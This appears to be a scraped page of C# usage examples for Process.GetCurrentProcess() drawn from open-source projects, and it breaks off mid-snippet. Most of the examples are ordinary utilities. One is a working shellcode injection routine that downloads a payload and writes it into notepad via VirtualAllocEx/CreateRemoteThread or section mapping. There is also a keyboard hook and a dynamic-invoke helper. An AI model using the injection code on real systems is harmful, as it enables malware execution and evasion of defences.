System.Diagnostics.Process.GetCurrentProcess()

Here are the examples of the csharp api System.Diagnostics.Process.GetCurrentProcess() taken from open source projects. By voting up you can indicate which examples are most useful and appropriate.

2342 Examples 7

19 View Source File : Program.cs
License : MIT License
Project Creator : 0ffffffffh

static void Init()
        {
            bool watchdog = !System.Diagnostics.Debugger.IsAttached;
            Log.Warning("Initializing backend. (watchdog? = {0})",watchdog);

            RequestDispatcher.CreateDispatchers(4);
            RequestBridge.CreatePipeServers(4);

            Edi.StartEdi();
            
            //start health monitor.
            System.Diagnostics.Process.Start(
                Config.Get().SbmonPath, 
                string.Format("-backend {0} -memcached {1} -mport {2} -watchdog {3}", 
                System.Diagnostics.Process.GetCurrentProcess().Id,
                DataCacheInstance.ProcessId,Config.Get().MemcachedPort,watchdog));

            LogService.Start();
            Talk = new InternalTalk(true);
            Talk.OnTalk += Talk_OnTalk;
            
        }

19 View Source File : Program.cs
License : MIT License
Project Creator : 0xDivyanshu

static int process_injection(string location, int button, int encryption, string preplacedword)
        {
            Process[] remote_p = Process.GetProcessesByName("notepad");
            Process current_p = Process.GetCurrentProcess();
            int pid = 0;

            if (remote_p.Length == 0)
            {
                //Create Process
                Process p = new Process();
                p.StartInfo.FileName = "C:\\Windows\\System32\\notepad.exe";
                p.StartInfo.WindowStyle = ProcessWindowStyle.Maximized;
                p.Start();
                pid = p.Id;
            }
            else
            {
                pid = remote_p[0].Id;
            }

            byte[] shellcode = downloaded_data(location, encryption, preplacedword);
            //Initializations
            bool res = false;
            IntPtr hProcess = OpenProcess(PROCESS_ALL_ACCESS, false, pid);
            IntPtr address = IntPtr.Zero;
            if (Flags.advanced_bypreplaced == 0)
            {
                address = VirtualAllocEx(hProcess, IntPtr.Zero, 0x1000, 0x3000, 0x40);
                IntPtr bytes = IntPtr.Zero;
                res = WriteProcessMemory(hProcess, address, shellcode, shellcode.Length, out bytes);
                if (res == false)
                {
                    Console.WriteLine("Cannot copy into process");
                    return -1;
                }
                IntPtr thread = CreateRemoteThread(hProcess, IntPtr.Zero, 0, address, IntPtr.Zero, 0, IntPtr.Zero);
                return 0;
            }
            else
            {
                IntPtr Section_handle = IntPtr.Zero;
                uint size = (uint)shellcode.Length;
                if (NtCreateSection(ref Section_handle, SECTION_ALL_ACCESS, IntPtr.Zero, ref size, 0x40, SEC_COMMIT, IntPtr.Zero) != 0)
                {
                    Console.WriteLine("[!] Cannot create section");
                    return -1;
                }
                IntPtr local_addr = IntPtr.Zero;
                IntPtr remote_addr = IntPtr.Zero;
                ulong offsec = 0;

                if (NtMapViewOfSection(Section_handle, current_p.Handle, ref local_addr, UIntPtr.Zero, UIntPtr.Zero, out offsec, out size, 2, 0, EXECUTE_READ_WRITE) != 0)
                {
                    Console.WriteLine("[!] Cannot map the section into remote process");
                    return -1;
                }

                if (NtMapViewOfSection(Section_handle, hProcess, ref remote_addr, UIntPtr.Zero, UIntPtr.Zero, out offsec, out size, 2, 0, EXECUTE_READ_WRITE) != 0)
                {
                    Console.WriteLine("Cannot map the section into local process");
                    return -1;
                }

                Marshal.Copy(shellcode, 0, local_addr, shellcode.Length);
                CreateRemoteThread(hProcess, IntPtr.Zero, 0, remote_addr, IntPtr.Zero, 0, IntPtr.Zero);
                NtUnmapViewOfSection(current_p.Handle, local_addr);
                return 0;
            }
        }

19 View Source File : CommandLineParser.cs
License : MIT License
Project Creator : 0xd4d

public static JitDasmOptions Parse(string[] args) {
			if (args.Length == 0)
				throw new ShowCommandLineHelpException();

			var options = new JitDasmOptions();
			for (int i = 0; i < args.Length; i++) {
				var arg = args[i];
				var next = i + 1 < args.Length ? args[i + 1] : null;
				switch (arg) {
				case "-h":
				case "--help":
					throw new ShowCommandLineHelpException();

				case "-p":
				case "--pid":
					if (next is null)
						throw new CommandLineParserException("Missing pid value");
					if (!int.TryParse(next, out options.Pid))
						throw new CommandLineParserException($"Invalid pid: {next}");
					try {
						using (var process = Process.GetProcessById(options.Pid))
							VerifyProcess(process);
					}
					catch (ArgumentException) {
						throw new CommandLineParserException($"Process does not exist, pid = {options.Pid}");
					}
					i++;
					break;

				case "-pn":
				case "--process":
					if (next is null)
						throw new CommandLineParserException("Missing process name");
					Process[]? processes = null;
					try {
						processes = Process.GetProcessesByName(next);
						if (processes.Length == 0)
							throw new CommandLineParserException($"Could not find process '{next}'");
						if (processes.Length > 1)
							throw new CommandLineParserException($"Found more than one process with name '{next}'");
						options.Pid = processes[0].Id;
						VerifyProcess(processes[0]);
					}
					finally {
						if (!(processes is null)) {
							foreach (var p in processes)
								p.Dispose();
						}
					}
					i++;
					break;

				case "-m":
				case "--module":
					if (next is null)
						throw new CommandLineParserException("Missing module name");
					options.ModuleName = next;
					i++;
					break;

				case "-l":
				case "--load":
					if (next is null)
						throw new CommandLineParserException("Missing module filename");
					if (!File.Exists(next))
						throw new CommandLineParserException($"Could not find module {next}");
					options.LoadModule = Path.GetFullPath(next);
					i++;
					break;

				case "--no-run-cctor":
					options.RunClreplacedConstructors = false;
					break;

				case "-s":
				case "--search":
					if (next is null)
						throw new CommandLineParserException("Missing replacedembly search path");
					foreach (var path in next.Split(new[] { Path.PathSeparator }, StringSplitOptions.RemoveEmptyEntries)) {
						if (Directory.Exists(path))
							options.replacedemblySearchPaths.Add(path);
					}
					i++;
					break;

				case "--diffable":
					options.Diffable = true;
					break;

				case "--no-addr":
					options.ShowAddresses = false;
					break;

				case "--no-bytes":
					options.ShowHexBytes = false;
					break;

				case "--no-source":
					options.ShowSourceCode = false;
					break;

				case "--heap-search":
					options.HeapSearch = true;
					break;

				case "--filename-format":
					if (next is null)
						throw new CommandLineParserException("Missing filename format");
					switch (next) {
					case "name":
						options.FilenameFormat = FilenameFormat.MemberName;
						break;
					case "tokname":
						options.FilenameFormat = FilenameFormat.TokenMemberName;
						break;
					case "token":
						options.FilenameFormat = FilenameFormat.Token;
						break;
					default:
						throw new CommandLineParserException($"Unknown filename format: {next}");
					}
					i++;
					break;

				case "-f":
				case "--file":
					if (next is null)
						throw new CommandLineParserException("Missing filename kind");
					switch (next) {
					case "stdout":
						options.FileOutputKind = FileOutputKind.Stdout;
						break;
					case "file":
						options.FileOutputKind = FileOutputKind.OneFile;
						break;
					case "type":
						options.FileOutputKind = FileOutputKind.OneFilePerType;
						break;
					case "method":
						options.FileOutputKind = FileOutputKind.OneFilePerMethod;
						break;
					default:
						throw new CommandLineParserException($"Unknown filename kind: {next}");
					}
					i++;
					break;

				case "-d":
				case "--disasm":
					if (next is null)
						throw new CommandLineParserException("Missing disreplacedembler kind");
					switch (next) {
					case "masm":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Masm;
						break;
					case "nasm":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Nasm;
						break;
					case "gas":
					case "att":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Gas;
						break;
					case "intel":
						options.DisreplacedemblerOutputKind = DisreplacedemblerOutputKind.Intel;
						break;
					default:
						throw new CommandLineParserException($"Unknown disreplacedembler kind: {next}");
					}
					i++;
					break;

				case "-o":
				case "--output":
					if (next is null)
						throw new CommandLineParserException("Missing output file/dir");
					options.OutputDir = next;
					i++;
					break;

				case "--type":
					if (next is null)
						throw new CommandLineParserException("Missing type name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.TypeFilter.TokensFilter.Add(tokenLo, tokenHi);
						else
							options.TypeFilter.NameFilter.Add(elem);
					}
					i++;
					break;

				case "--type-exclude":
					if (next is null)
						throw new CommandLineParserException("Missing type name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.TypeFilter.ExcludeTokensFilter.Add(tokenLo, tokenHi);
						else
							options.TypeFilter.ExcludeNameFilter.Add(elem);
					}
					i++;
					break;

				case "--method":
					if (next is null)
						throw new CommandLineParserException("Missing method name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.MethodFilter.TokensFilter.Add(tokenLo, tokenHi);
						else
							options.MethodFilter.NameFilter.Add(elem);
					}
					i++;
					break;

				case "--method-exclude":
					if (next is null)
						throw new CommandLineParserException("Missing method name filter");
					foreach (var elem in next.Split(typeTokSep, StringSplitOptions.RemoveEmptyEntries)) {
						if (TryParseToken(elem, out uint tokenLo, out uint tokenHi))
							options.MethodFilter.ExcludeTokensFilter.Add(tokenLo, tokenHi);
						else
							options.MethodFilter.ExcludeNameFilter.Add(elem);
					}
					i++;
					break;

				default:
					throw new CommandLineParserException($"Unknown option: {arg}");
				}
			}

			if (!string2.IsNullOrEmpty(options.LoadModule)) {
				using (var process = Process.GetCurrentProcess())
					options.Pid = process.Id;
				options.ModuleName = options.LoadModule;
			}

			if (string.IsNullOrEmpty(options.ModuleName))
				throw new CommandLineParserException("Missing module name");
			if (options.Pid == 0)
				throw new CommandLineParserException("Missing process id or name");
			if (options.FileOutputKind != FileOutputKind.Stdout && string.IsNullOrEmpty(options.OutputDir))
				throw new CommandLineParserException("Missing output file/dir");
			return options;
		}

19 View Source File : Program.cs
License : MIT License
Project Creator : 13xforever

static async Task<int> Main(string[] args)
        {
            Log.Info("PS3 Disc Dumper v" + Dumper.Version);

            if (RuntimeInformation.IsOSPlatform(OSPlatform.Linux) && Console.WindowHeight < 1 && Console.WindowWidth < 1)
                try
                {
                    Log.Error("Looks like there's no console present, restarting...");
                    var launchArgs = Environment.GetCommandLineArgs()[0];
                    if (launchArgs.Contains("/var/tmp") || launchArgs.EndsWith(".dll"))
                    {
                        Log.Debug("Looks like we were launched from a single executable, looking for the parent...");
                        using var currentProcess = Process.GetCurrentProcess();
                        var pid = currentProcess.Id;
                        var procCmdlinePath = Path.Combine("/proc", pid.ToString(), "cmdline");
                        launchArgs = File.ReadAllLines(procCmdlinePath).FirstOrDefault()?.TrimEnd('\0');
                    }
                    Log.Debug($"Using cmdline '{launchArgs}'");
                    launchArgs = $"-e bash -c {launchArgs}";
                    var startInfo = new ProcessStartInfo("x-terminal-emulator", launchArgs);
                    using var proc = Process.Start(startInfo);
                    if (proc.WaitForExit(1_000))
                    {
                        if (proc.ExitCode != 0)
                        {
                            startInfo = new ProcessStartInfo("xdg-terminal", launchArgs);
                            using var proc2 = Process.Start(startInfo);
                            if (proc2.WaitForExit(1_000))
                            {
                                if (proc2.ExitCode != 0)
                                {
                                    startInfo = new ProcessStartInfo("gnome-terminal", launchArgs);
                                    using var proc3 = Process.Start(startInfo);
                                    if (proc3.WaitForExit(1_000))
                                    {
                                        if (proc3.ExitCode != 0)
                                        {
                                            startInfo = new ProcessStartInfo("konsole", launchArgs);
                                            using var _ = Process.Start(startInfo);
                                        }
                                    }
                                }
                            }
                        }
                    }
                    return -2;
                }
                catch (Exception e)
                {
                    Log.Error(e);
                    return -3;
                }
            var lastDiscId = "";
start:
            const string replacedleBase = "PS3 Disc Dumper";
            var replacedle = replacedleBase;
            Console.replacedle = replacedle;
            var output = ".";
            var inDir = "";
            var showHelp = false;
            var options = new OptionSet
            {
                {
                    "i|input=", "Path to the root of blu-ray disc mount", v =>
                    {
                        if (v is string ind)
                            inDir = ind;
                    }
                },
                {
                    "o|output=", "Path to the output folder. Subfolder for each disc will be created automatically", v =>
                    {
                        if (v is string outd)
                            output = outd;
                    }
                },
                {
                    "?|h|help", "Show help", v =>
                    {
                        if (v != null)
                            showHelp = true;
                    },
                    true
                },
            };
            try
            {
                var unknownParams = options.Parse(args);
                if (unknownParams.Count > 0)
                {
                    Log.Warn("Unknown parameters: ");
                    foreach (var p in unknownParams)
                        Log.Warn("\t" + p);
                    showHelp = true;
                }
                if (showHelp)
                {
                    ShowHelp(options);
                    return 0;
                }

                var dumper = new Dumper(ApiConfig.Cts);
                dumper.DetectDisc(inDir);
                await dumper.FindDiscKeyAsync(ApiConfig.IrdCachePath).ConfigureAwait(false);
                if (string.IsNullOrEmpty(dumper.OutputDir))
                {
                    Log.Info("No compatible disc was found, exiting");
                    return 2;
                }
                if (lastDiscId == dumper.ProductCode)
                {
                    Console.ForegroundColor = ConsoleColor.Yellow;
                    Console.WriteLine("You're dumping the same disc, are you sure you want to continue? (Y/N, default is N)");
                    Console.ResetColor();
                    var confirmKey = Console.ReadKey(true);
                    switch (confirmKey.Key)
                    {
                        case ConsoleKey.Y:
                            break;
                        default:
                            throw new OperationCanceledException("Aborting re-dump of the same disc");
                    }
                }
                lastDiscId = dumper.ProductCode;

                replacedle += " - " + dumper.replacedle;
                var monitor = new Thread(() =>
                {
                    try
                    {
                        do
                        {
                            if (dumper.CurrentSector > 0)
                                Console.replacedle = $"{replacedle} - File {dumper.CurrentFileNumber} of {dumper.TotalFileCount} - {dumper.CurrentSector * 100.0 / dumper.TotalSectors:0.00}%";
                            Task.Delay(1000, ApiConfig.Cts.Token).GetAwaiter().GetResult();
                        } while (!ApiConfig.Cts.Token.IsCancellationRequested);
                    }
                    catch (TaskCanceledException)
                    {
                    }
                    Console.replacedle = replacedle;
                });
                monitor.Start();

                await dumper.DumpAsync(output).ConfigureAwait(false);

                ApiConfig.Cts.Cancel(false);
                monitor.Join(100);

                if (dumper.BrokenFiles.Count > 0)
                {
                    Log.Fatal("Dump is not valid");
                    foreach (var file in dumper.BrokenFiles)
                        Log.Error($"{file.error}: {file.filename}");
                }
                else
                {
                    Console.ForegroundColor = ConsoleColor.Green;
                    Console.WriteLine("Dump is valid");
                    Console.ResetColor();
                }
            }
            catch (OptionException)
            {
                ShowHelp(options);
                return 1;
            }
            catch (Exception e)
            {
                Log.Error(e, e.Message);
            }
            Console.WriteLine("Press X or Ctrl-C to exit, any other key to start again...");
            var key = Console.ReadKey(true);
            switch (key.Key)
            {
                case ConsoleKey.X:
                    return 0;
                default:
                    goto start;
            }
        }

19 View Source File : KeyboardHook.cs
License : MIT License
Project Creator : 20chan

public static void HookStart() {
            using (Process curProcess = Process.GetCurrentProcess())
            using (ProcessModule curModule = curProcess.MainModule) {
                _hookID = SetWindowsHookEx(WH_KEYBOARD_LL, _proc, GetModuleHandle("user32"), 0);
            }
        }

19 View Source File : Form1.cs
License : MIT License
Project Creator : 2881099

private void Form1_FormClosing(object sender, FormClosingEventArgs e)
        {
            this.Hide();
            var process = Process.GetCurrentProcess();
            process.Kill();
        }

19 View Source File : DynamicInvoke.cs
License : GNU General Public License v3.0
Project Creator : 3xpl01tc0d3r

public static IntPtr GetLoadedModuleAddress(string DLLName)
        {
            ProcessModuleCollection ProcModules = Process.GetCurrentProcess().Modules;
            foreach (ProcessModule Mod in ProcModules)
            {
                if (Mod.FileName.ToLower().EndsWith(DLLName.ToLower()))
                {
                    return Mod.BaseAddress;
                }
            }
            return IntPtr.Zero;
        }

19 View Source File : Shared.cs
License : MIT License
Project Creator : 7coil

public static string getVersion()
        {
            int version = Process.GetCurrentProcess().MainModule.FileVersionInfo.ProductMajorPart;
            if (OfficeVersions.ContainsKey(version))
            {
                return OfficeVersions[version];
            }
            else
            {
                return getString("unknown_version");
            }
        }

19 View Source File : WebServer.cs
License : Apache License 2.0
Project Creator : A7ocin

void OnGetContext(IAsyncResult async)
        {
            // start listening for the next request
            _listener.BeginGetContext(OnGetContext, null);
            var context = _listener.EndGetContext(async);
            try
            {
                if (context.Request.RawUrl == "/")
                {
                    Debug.Log("[WebServer] context.Request.RawUrl");
                    context.Response.StatusCode = 200;
                    var process = System.Diagnostics.Process.GetCurrentProcess();
                    string msg = string.Format(@"<html><body><h1>UMA Simple Web Server</h1><table>
						<tr><td>Host Application</td><td>{0} (Process Id: {1})</td></tr>
						<tr><td>Working Directory</td><td>{2}</td></tr>
						</table><br><br>{3}</body></html>", process.ProcessName, process.Id, System.IO.Directory.GetCurrentDirectory(), GetLog("<br>"));
                    var data = System.Text.Encoding.UTF8.GetBytes(msg);
                    context.Response.OutputStream.Write(data, 0, data.Length);
                    context.Response.OutputStream.Close();
                    //Tried adding response close aswell like in Adamas original
                    context.Response.Close();
                }
                else
                {
                    var filePath = System.IO.Path.Combine(_hostedFolder, context.Request.RawUrl.Substring(1));
                    if (System.IO.File.Exists(filePath))
                    {
                        using (var file = System.IO.File.Open(filePath, System.IO.FileMode.Open))
                        {
                            var buffer = new byte[file.Length];
                            file.Read(buffer, 0, (int)file.Length);
                            context.Response.ContentLength64 = file.Length;
                            context.Response.StatusCode = 200;
                            context.Response.OutputStream.Write(buffer, 0, (int)file.Length);
                        }
                    }
                    else
                    {
                        context.Response.StatusCode = 404;
                        UnityEngine.Debug.LogErrorFormat("Url not served. Have you built your replacedet Bundles? Url not served from: {0} '{1}'", context.Request.RawUrl, filePath);
#if UNITY_EDITOR
                        replacedetBundleManager.SimulateOverride = true;
                        context.Response.OutputStream.Close();
                        //Tried adding response close aswell like in Adamas original
                        context.Response.Abort();
                        return;
#endif
                    }
                }
                lock (_requestLog)
                {
                    _requestLog.Add(string.Format("{0} {1}", context.Response.StatusCode, context.Request.Url));
                }
                context.Response.OutputStream.Close();
                context.Response.Close();
            }
            catch (HttpListenerException e)
            {
                if (e.ErrorCode == -2147467259)
                {
                    // shutdown, terminate silently
                    Debug.LogWarning("[Web Server] ErrorCode -2147467259: terminate silently");
                    context.Response.Abort();
                    return;
                }
                UnityEngine.Debug.LogException(e);
                context.Response.Abort();
            }
            catch (Exception e)
            {
                UnityEngine.Debug.LogException(e);
                context.Response.Abort();
            }
        }

19 View Source File : UacHelper.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

public static bool IsProcessElevated()
        {
            if (IsUacEnabled())
            {
                if (!OpenProcessToken(Process.GetCurrentProcess().Handle, TOKEN_READ, out IntPtr tokenHandle))
                {
                    throw new ApplicationException("Could not get process token.  Win32 Error Code: " + Marshal.GetLastWin32Error());
                }

                try
                {
                    TokenElevationType elevationResult = TokenElevationType.TokenElevationTypeDefault;

                    int elevationResultSize = Marshal.SizeOf(Enum.GetUnderlyingType(elevationResult.GetType()));
                    uint returnedSize = 0;

                    IntPtr elevationTypePtr = Marshal.AllocHGlobal(elevationResultSize);
                    try
                    {
                        bool success = GetTokenInformation(tokenHandle, TokenInformationClreplaced.TokenElevationType, elevationTypePtr, (uint)elevationResultSize, out returnedSize);
                        if (success)
                        {
                            elevationResult = (TokenElevationType)Marshal.ReadInt32(elevationTypePtr);
                            bool isProcessAdmin = elevationResult == TokenElevationType.TokenElevationTypeFull;
                            return isProcessAdmin;
                        }
                        else
                        {
                            throw new ApplicationException("Unable to determine the current elevation.");
                        }
                    }
                    finally
                    {
                        if (elevationTypePtr != IntPtr.Zero)
                        {
                            Marshal.FreeHGlobal(elevationTypePtr);
                        }
                    }
                }
                finally
                {
                    if (tokenHandle != IntPtr.Zero)
                    {
                        CloseHandle(tokenHandle);
                    }
                }
            }
            else
            {
                WindowsIdenreplacedy idenreplacedy = WindowsIdenreplacedy.GetCurrent();
                WindowsPrincipal principal = new(idenreplacedy);
                bool result = principal.IsInRole(WindowsBuiltInRole.Administrator) || principal.IsInRole(0x200); // 0x200 = Domain Administrator
                return result;
            }
        }

19 View Source File : DellFanManagementApp.cs
License : GNU General Public License v3.0
Project Creator : AaronKelley

[STAThread]
        static int Main(string[] args)
        {
            if (args.Length == 0)
            {
                // GUI mode.
                try
                {
                    if (UacHelper.IsProcessElevated())
                    {
                        // Looks like we're ready to start up the GUI app.
                        // Set process priority to high.
                        Process.GetCurrentProcess().PriorityClreplaced = ProcessPriorityClreplaced.High;

                        // Boilerplate code to start the app.
                        Application.SetHighDpiMode(HighDpiMode.DpiUnaware);
                        Application.EnableVisualStyles();
                        Application.SetCompatibleTextRenderingDefault(false);
                        Application.Run(new DellFanManagementGuiForm());
                    }
                    else
                    {
                        MessageBox.Show("This program must be run with administrative privileges.", "Dell Fan Management privilege check", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    }
                }
                catch (Exception exception)
                {
                    MessageBox.Show(string.Format("{0}: {1}\n{2}", exception.GetType().ToString(), exception.Message, exception.StackTrace),
                        "Error starting application", MessageBoxButtons.OK, MessageBoxIcon.Error);
                    return 1;
                }

                return 0;
            }
            else
            {
                // CMD mode.
                try
                {
                    Console.WriteLine("Dell Fan Management, version {0}", Version);
                    Console.WriteLine("By Aaron Kelley");
                    Console.WriteLine("Licensed under GPLv3");
                    Console.WriteLine("Source code available at https://github.com/AaronKelley/DellFanManagement");
                    Console.WriteLine();

                    if (UacHelper.IsProcessElevated())
                    {
                        if (args[0].ToLower() == "packagetest")
                        {
                            return PackageTest.RunPackageTests() ? 0 : 1;
                        }
                        else if (args[0].ToLower() == "setthermalsetting")
                        {
                            return SetThermalSetting.ExecuteSetThermalSetting(args);
                        }
                        else if (args[0].ToLower() == "smi-token-dump")
                        {
                            return SmiTokenDump();
                        }
                        else if (args[0].ToLower() == "smi-get-token")
                        {
                            return SmiGetToken(args);
                        }
                        else if (args[0].ToLower() == "smi-set-token")
                        {
                            return SmiSetToken(args);
                        }
                        else
                        {
                            Console.WriteLine("Dell SMM I/O driver by 424778940z");
                            Console.WriteLine("https://github.com/424778940z/bzh-windrv-dell-smm-io");
                            Console.WriteLine();
                            Console.WriteLine("Derived from \"Dell fan utility\" by 424778940z");
                            Console.WriteLine("https://github.com/424778940z/dell-fan-utility");
                            Console.WriteLine();

                            return DellFanCmd.ProcessCommand(args);
                        }
                    }
                    else
                    {
                        Console.WriteLine();
                        Console.WriteLine("This program must be run with administrative privileges.");
                        return 1;
                    }
                }
                catch (Exception exception)
                {
                    Console.Error.WriteLine("{0}: {1}\n{2}", exception.GetType().ToString(), exception.Message, exception.StackTrace);
                    return 1;
                }
            }
        }

19 View Source File : ServerManager.cs
License : Apache License 2.0
Project Creator : AantCoder

public void SaveAndRestart()
        {
            try
            {
                Loger.Log("Command SaveAndRestart");
                Thread.CurrentThread.IsBackground = false;
                Connect.Stop();
                Thread.Sleep(100);
                var rep = Repository.Get;
                rep.Save();
                Thread.Sleep(200);
                Loger.Log("Restart");
                Process.Start(Process.GetCurrentProcess().MainModule.FileName);
                Loger.Log("Command SaveAndRestart done");
                Environment.Exit(0);
            }
            catch (Exception e)
            {
                Loger.Log("Command Exception " + e.ToString());
            }
        }

19 View Source File : AdminStatCommands.cs
License : GNU Affero General Public License v3.0
Project Creator : ACEmulator

[CommandHandler("serverstatus", AccessLevel.Advocate, CommandHandlerFlag.None, 0, "Displays a summary of server statistics and usage")]
        public static void HandleServerStatus(Session session, params string[] parameters)
        {
            // This is formatted very similarly to GDL.

            var sb = new StringBuilder();

            var proc = Process.GetCurrentProcess();

            sb.Append($"Server Status:{'\n'}");

            sb.Append($"Host Info: {Environment.OSVersion}, vCPU: {Environment.ProcessorCount}{'\n'}");

            var runTime = DateTime.Now - proc.StartTime;
            sb.Append($"Server Runtime: {(int)runTime.TotalHours}h {runTime.Minutes}m {runTime.Seconds}s{'\n'}");

            sb.Append($"Total CPU Time: {(int)proc.TotalProcessorTime.TotalHours}h {proc.TotalProcessorTime.Minutes}m {proc.TotalProcessorTime.Seconds}s, Threads: {proc.Threads.Count}{'\n'}");

            // todo, add actual system memory used/avail
            sb.Append($"{(proc.PrivateMemorySize64 >> 20):N0} MB used{'\n'}");  // sb.Append($"{(proc.PrivateMemorySize64 >> 20)} MB used, xxxx / yyyy MB physical mem free.{'\n'}");

            sb.Append($"{NetworkManager.GetSessionCount():N0} connections, {NetworkManager.GetAuthenticatedSessionCount():N0} authenticated connections, {NetworkManager.GetUniqueSessionEndpointCount():N0} unique connections, {PlayerManager.GetOnlineCount():N0} players online{'\n'}");
            sb.Append($"Total Accounts Created: {DatabaseManager.Authentication.GetAccountCount():N0}, Total Characters Created: {(PlayerManager.GetOfflineCount() + PlayerManager.GetOnlineCount()):N0}{'\n'}");

            // 330 active objects, 1931 total objects(16777216 buckets.)

            // todo, expand this
            var loadedLandblocks = LandblockManager.GetLoadedLandblocks();
            int dormantLandblocks = 0, activeDungeonLandblocks = 0, dormantDungeonLandblocks = 0;
            int players = 0, creatures = 0, missiles = 0, other = 0, total = 0;
            foreach (var landblock in loadedLandblocks)
            {
                if (landblock.IsDormant)
                    dormantLandblocks++;

                if (landblock.IsDungeon)
                {
                    if (landblock.IsDormant)
                        dormantDungeonLandblocks++;
                    else
                        activeDungeonLandblocks++;
                }

                foreach (var worldObject in landblock.GetAllWorldObjectsForDiagnostics())
                {
                    if (worldObject is Player)
                        players++;
                    else if (worldObject is Creature)
                        creatures++;
                    else if (worldObject.Missile ?? false)
                        missiles++;
                    else
                        other++;

                    total++;
                }
            }
            sb.Append($"Landblocks: {(loadedLandblocks.Count - dormantLandblocks):N0} active ({activeDungeonLandblocks:N0} dungeons), {dormantLandblocks:N0} dormant ({dormantDungeonLandblocks:N0} dungeons), Landblock Groups: {LandblockManager.LandblockGroupsCount:N0} - Players: {players:N0}, Creatures: {creatures:N0}, Missiles: {missiles:N0}, Other: {other:N0}, Total: {total:N0}.{'\n'}"); // 11 total blocks loaded. 11 active. 0 pending dormancy. 0 dormant. 314 unloaded.
            // 11 total blocks loaded. 11 active. 0 pending dormancy. 0 dormant. 314 unloaded.

            if (ServerPerformanceMonitor.IsRunning)
                sb.Append($"Server Performance Monitor - UpdateGameWorld ~5m {ServerPerformanceMonitor.GetEventHistory5m(ServerPerformanceMonitor.MonitorType.UpdateGameWorld_Entire).AverageEventDuration:N3}, ~1h {ServerPerformanceMonitor.GetEventHistory1h(ServerPerformanceMonitor.MonitorType.UpdateGameWorld_Entire).AverageEventDuration:N3} s{'\n'}");
            else
                sb.Append($"Server Performance Monitor - Not running. To start use /serverperformance start{'\n'}");

            sb.Append($"Threading - WorldThreadCount: {ConfigManager.Config.Server.Threading.LandblockManagerParallelOptions.MaxDegreeOfParallelism}, Mulreplacedhread Physics: {ConfigManager.Config.Server.Threading.MulreplacedhreadedLandblockGroupPhysicsTicking}, Mulreplacedhread Non-Physics: {ConfigManager.Config.Server.Threading.MulreplacedhreadedLandblockGroupTicking}, DatabaseThreadCount: {ConfigManager.Config.Server.Threading.DatabaseParallelOptions.MaxDegreeOfParallelism}{'\n'}");

            sb.Append($"Physics Cache Counts - BSPCache: {BSPCache.Count:N0}, GfxObjCache: {GfxObjCache.Count:N0}, PolygonCache: {PolygonCache.Count:N0}, VertexCache: {VertexCache.Count:N0}{'\n'}");

            sb.Append($"Total Server Objects: {ServerObjectManager.ServerObjects.Count:N0}{'\n'}");

            sb.Append($"World DB Cache Counts - Weenies: {DatabaseManager.World.GetWeenieCacheCount():N0}, LandblockInstances: {DatabaseManager.World.GetLandblockInstancesCacheCount():N0}, PointsOfInterest: {DatabaseManager.World.GetPointsOfInterestCacheCount():N0}, Cookbooks: {DatabaseManager.World.GetCookbookCacheCount():N0}, Spells: {DatabaseManager.World.GetSpellCacheCount():N0}, Encounters: {DatabaseManager.World.GetEncounterCacheCount():N0}, Events: {DatabaseManager.World.GetEventsCacheCount():N0}{'\n'}");
            sb.Append($"Shard DB Counts - Biotas: {DatabaseManager.Shard.BaseDatabase.GetBiotaCount():N0}{'\n'}");
            if (DatabaseManager.Shard.BaseDatabase is ShardDatabaseWithCaching shardDatabaseWithCaching)
            {
                var biotaIds = shardDatabaseWithCaching.GetBiotaCacheKeys();
                var playerBiotaIds = biotaIds.Count(id => ObjectGuid.IsPlayer(id));
                var nonPlayerBiotaIds = biotaIds.Count - playerBiotaIds;
                sb.Append($"Shard DB Cache Counts - Player Biotas: {playerBiotaIds} ~ {shardDatabaseWithCaching.PlayerBiotaRetentionTime.TotalMinutes:N0} m, Non Players {nonPlayerBiotaIds} ~ {shardDatabaseWithCaching.NonPlayerBiotaRetentionTime.TotalMinutes:N0} m{'\n'}");
            }

            sb.Append(GuidManager.GetDynamicGuidDebugInfo() + '\n');

            sb.Append($"Portal.dat has {DatManager.PortalDat.FileCache.Count:N0} files cached of {DatManager.PortalDat.AllFiles.Count:N0} total{'\n'}");
            sb.Append($"Cell.dat has {DatManager.CellDat.FileCache.Count:N0} files cached of {DatManager.CellDat.AllFiles.Count:N0} total{'\n'}");

            CommandHandlerHelper.WriteOutputInfo(session, $"{sb}");
        }

19 View Source File : ExportManager.cs
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas

private static bool IsViewerMode()
        {
            var mainWindowreplacedle = Process.GetCurrentProcess().MainWindowreplacedle;
            return mainWindowreplacedle.Contains("VIEWER");
        }

19 View Source File : ExportManager.cs
License : GNU Lesser General Public License v3.0
Project Creator : acnicholas

[SecurityCritical]
        [PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
        private static bool SetAcrobatExportRegistryVal(string fileName, ExportLog log)
        {
            var exe = Process.GetCurrentProcess().MainModule.FileName;
            try {
                log.AddMessage("Attempting to set Acrobat Registry Value with value");
                log.AddMessage("\t" + Constants.AcrobatPrinterJobControl);
                log.AddMessage("\t" + exe);
                log.AddMessage("\t" + fileName);
                Registry.SetValue(
                    Constants.AcrobatPrinterJobControl,
                    exe,
                    fileName,
                    RegistryValueKind.String);
                return true;
            } catch (UnauthorizedAccessException ex) {
                log.AddError(fileName, ex.Message);
                return false;
            } catch (SecurityException ex) {
                log.AddError(fileName, ex.Message);
                return false;
            }
        }

19 View Source File : JobNotification.cs
License : MIT License
Project Creator : actions

private void StartMonitor(Guid jobId, string accessToken, Uri serverUri)
        {
            if(String.IsNullOrEmpty(accessToken)) 
            {
                Trace.Info("No access token could be retrieved to start the monitor.");
                return;
            }

            try
            {
                Trace.Info("Entering StartMonitor");
                if (_isMonitorConfigured)
                {
